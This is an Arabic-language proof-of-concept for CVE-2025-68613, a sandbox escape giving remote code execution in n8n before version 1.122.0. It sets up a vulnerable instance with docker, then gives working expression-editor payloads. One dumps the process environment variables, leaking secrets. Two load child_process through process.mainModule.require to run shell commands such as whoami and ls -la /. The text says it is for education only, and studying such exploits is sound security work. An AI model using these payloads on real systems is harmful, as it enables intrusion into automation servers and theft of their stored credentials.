
POC لـ CVE-2025-68613
لأغراض تعليمية فقط يوضح إثبات المفهوم هذا ثغرة حرجة (CVE-2025-68613) في n8n. لا تستخدم هذا على أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها.
تحتوي إصدارات n8n السابقة للإصدار 1.122.0 على ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE). يمكن للمستخدمين المصادق عليهم تجاوز بيئة عزل التعبيرات وتنفيذ تعليمات برمجية عشوائية على النظام المضيف عبر حمولات JavaScript محددة في محرر تعبيرات سير العمل.
أنشئ وحدة تخزين بيانات وشغّل نسخة هشّة من n8n (على سبيل المثال، v1.120.0).
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
انتقل إلى http://localhost:5678 وأكمل الإعداد الأولي إذا لزم الأمر.

انقر على "Add Workflow" لبدء سير عمل فارغ.

أضف عقدة Set إلى سير العمل. تسمح لنا هذه العقدة بتحديد قيم يمكن تقييمها كتعبيرات.

في عقدة Set، عدّل معاملًا (مثل value) وغيّر نوع الإدخال إلى Expression.

أدخل الحمولات التالية في محرر التعبيرات لإثبات الثغرة.
تصل هذه الحمولة إلى this.process.env لتسريب متغيرات بيئة حسّاسة من الحاوية.
الحمولة:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
النتيجة:

تتجاوز هذه الحمولة بيئة العزل عبر الوصول إلى process.mainModule.require لتحميل وحدة child_process، مما يسمح بتنفيذ أوامر نظام عشوائية.
الحمولة:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

النتيجة: يتحقق من سياق المستخدم للعملية الجارية.
توضح القدرة على تصفح نظام الملفات.
الحمولة:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
النتيجة:
